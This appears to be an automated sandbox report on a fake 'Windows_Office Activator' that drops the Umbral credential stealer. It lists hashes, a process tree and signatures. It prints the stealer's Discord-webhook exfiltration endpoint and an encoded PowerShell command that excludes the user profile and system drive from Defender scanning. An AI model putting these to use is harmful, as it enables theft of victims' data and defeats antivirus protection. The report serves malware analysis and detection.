Analysis

  • max time kernel
    122s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11-10-2023 13:01

General

  • Target

    Windows_Office Activator By RXS.exe

  • Size

    779KB

  • MD5

    7fc8b5c1779a9aeeecfcb4241e263d00

  • SHA1

    e106ecab86ae0aa5fd94bffe49279fe793bb5e2c

  • SHA256

    a8f2fe0ab643b948071bdb619fd4579740336e5744bfd4f2aed4c674f7c75f4f

  • SHA512

    b99b746339cff5142d504bdeb4551d305034f8463f991100f200f83e10805a79c573a611a4a24558c4c41eab7460f5dafecd40c69fdc32d4c0faefd86285c947

  • SSDEEP

    24576:FBuDErbOl69QjPPN15Nxtug2GNqfpcgHN:zuUE6aVNxtlaRc0N

Score
10/10

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1155956024495308830/o395pHkaR0VtcxpxF8d-fTNY_r32FGWRVqhqpd3v2J7ysT_PVR1FckU2n2mU2vV4jiQL

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Windows_Office Activator By RXS.exe
    "C:\Users\Admin\AppData\Local\Temp\Windows_Office Activator By RXS.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAcwB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AeABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAcQBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAYgB1ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
    • C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe
      "C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=0025
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\SysWOW64\mode.com
          mode con:cols=0080 lines=0025
          4⤵
            PID:112
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c title Windows+Office Activator By RXS
          3⤵
            PID:2676
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
            3⤵
              PID:1496
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
              3⤵
                PID:2548
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2552
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                  4⤵
                  • Views/modifies file attributes
                  PID:2504
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
                3⤵
                  PID:2512
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat
                  3⤵
                    PID:2564
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c pause
                    3⤵
                      PID:2812
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c
                      3⤵
                        PID:3060
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c
                        3⤵
                          PID:368
                      • C:\Users\Admin\AppData\Local\Temp\office.exe
                        "C:\Users\Admin\AppData\Local\Temp\office.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2988
                        • C:\Windows\System32\Wbem\wmic.exe
                          "wmic.exe" csproduct get uuid
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1508

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

                      Filesize

                      539KB

                      MD5

                      97701b0653e97ef63e5ab2ece9078193

                      SHA1

                      476943cbdf022d93a9a7b742f6b1672d969283c1

                      SHA256

                      9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

                      SHA512

                      3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

                    • C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

                      Filesize

                      539KB

                      MD5

                      97701b0653e97ef63e5ab2ece9078193

                      SHA1

                      476943cbdf022d93a9a7b742f6b1672d969283c1

                      SHA256

                      9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

                      SHA512

                      3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

                    • C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

                      Filesize

                      539KB

                      MD5

                      97701b0653e97ef63e5ab2ece9078193

                      SHA1

                      476943cbdf022d93a9a7b742f6b1672d969283c1

                      SHA256

                      9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

                      SHA512

                      3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

                    • C:\Users\Admin\AppData\Local\Temp\i6.bat

                      Filesize

                      173B

                      MD5

                      0f8f70e88009593eefaa155a8e31b1d6

                      SHA1

                      eabcc3f2135e0919e9456da0a4b1084f3382d4b6

                      SHA256

                      941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b

                      SHA512

                      94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750

                    • C:\Users\Admin\AppData\Local\Temp\i6.t

                      Filesize

                      3B

                      MD5

                      a5ea0ad9260b1550a14cc58d2c39b03d

                      SHA1

                      f0aedf295071ed34ab8c6a7692223d22b6a19841

                      SHA256

                      f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

                      SHA512

                      7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

                    • C:\Users\Admin\AppData\Local\Temp\office.exe

                      Filesize

                      231KB

                      MD5

                      68c29400b505fdb81b893319f0f1be96

                      SHA1

                      68116a02d6192d3886b4eaf2e1c1a7ee6dae5d14

                      SHA256

                      9abd3922e63f5f827d98b48543005f91307ed371d3f252a97b8b5a1949761832

                      SHA512

                      4f94ad68b7ea48de0f9e6adb0c71dd229876355209e5572c95f2fbcc640f61e9cbe72d2a31e9619401cb346993699794bee674fe14252ec957f6e81c56c55da3

                    • C:\Users\Admin\AppData\Local\Temp\office.exe

                      Filesize

                      231KB

                      MD5

                      68c29400b505fdb81b893319f0f1be96

                      SHA1

                      68116a02d6192d3886b4eaf2e1c1a7ee6dae5d14

                      SHA256

                      9abd3922e63f5f827d98b48543005f91307ed371d3f252a97b8b5a1949761832

                      SHA512

                      4f94ad68b7ea48de0f9e6adb0c71dd229876355209e5572c95f2fbcc640f61e9cbe72d2a31e9619401cb346993699794bee674fe14252ec957f6e81c56c55da3

                    • memory/1604-20-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/1604-3-0x0000000000490000-0x0000000000510000-memory.dmp

                      Filesize

                      512KB

                    • memory/1604-0-0x0000000000DB0000-0x0000000000E7A000-memory.dmp

                      Filesize

                      808KB

                    • memory/1604-1-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/1604-2-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/2136-33-0x0000000002A00000-0x0000000002A80000-memory.dmp

                      Filesize

                      512KB

                    • memory/2136-36-0x000007FEF26D0000-0x000007FEF306D000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/2136-22-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

                      Filesize

                      2.9MB

                    • memory/2136-23-0x0000000001FA0000-0x0000000001FA8000-memory.dmp

                      Filesize

                      32KB

                    • memory/2136-30-0x000007FEF26D0000-0x000007FEF306D000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/2136-32-0x0000000002A00000-0x0000000002A80000-memory.dmp

                      Filesize

                      512KB

                    • memory/2136-34-0x0000000002A0B000-0x0000000002A72000-memory.dmp

                      Filesize

                      412KB

                    • memory/2136-35-0x000007FEF26D0000-0x000007FEF306D000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/2988-21-0x0000000000C80000-0x0000000000CC0000-memory.dmp

                      Filesize

                      256KB

                    • memory/2988-38-0x000000001B170000-0x000000001B1F0000-memory.dmp

                      Filesize

                      512KB

                    • memory/2988-37-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/2988-39-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/2988-40-0x000000001B170000-0x000000001B1F0000-memory.dmp

                      Filesize

                      512KB

                    • memory/2988-41-0x000007FEF5DC0000-0x000007FEF67AC000-memory.dmp

                      Filesize

                      9.9MB